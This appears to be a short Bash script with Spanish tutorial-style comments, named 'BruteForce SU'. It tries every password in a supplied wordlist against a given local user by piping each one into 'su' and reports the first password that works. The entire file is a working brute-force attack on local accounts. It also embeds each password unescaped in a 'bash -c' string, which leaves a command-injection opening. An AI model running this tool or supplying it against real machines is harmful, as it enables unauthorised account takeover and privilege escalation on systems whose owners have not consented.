#!/bin/bash # Función que se ejecutará en caso de que el usuario no proporcione 2 argumentos. mostrar_ayuda() { echo -e "\e[1;33mUso: $0 USUARIO DICCIONARIO" echo -e "\e[1;31mSe deben especificar tanto el nombre de usuario como el archivo de diccionario.\e[0m" exit 1 } # Para imprimir un sencillo banner en alguna parte del script. imprimir_banner() { echo -e "\e[1;34m" # Cambiar el texto a color azul brillante echo "******************************" echo "* BruteForce SU *" echo "******************************" echo -e "\e[0m" # Restablecer los colores a los valores predeterminados } # Llamamos a esta función desde el trap finalizar SIGINT (En caso de que el usuario presione control + c para salir) finalizar() { echo -e "\e[1;31m\nFinalizando el script\e[0m" exit } trap finalizar SIGINT usuario=$1 diccionario=$2 # Variable especial $# para comprobar el número de parámetros introducido. En caso de no ser 2, se imprimen las instrucciones. if [[ $# != 2 ]]; then mostrar_ayuda fi # Imprimimos el banner al momento de realizar el ataque. imprimir_banner # Bucle while que lee línea a línea el contenido de la variable $diccionario, que a su vez esta variable recibe el diccionario como parámetro. while IFS= read -r password; do echo "Probando contraseña: $password" if timeout 0.1 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then clear echo -e "\e[1;32mContraseña encontrada para el usuario $usuario: $password\e[0m" break fi done < "$diccionario"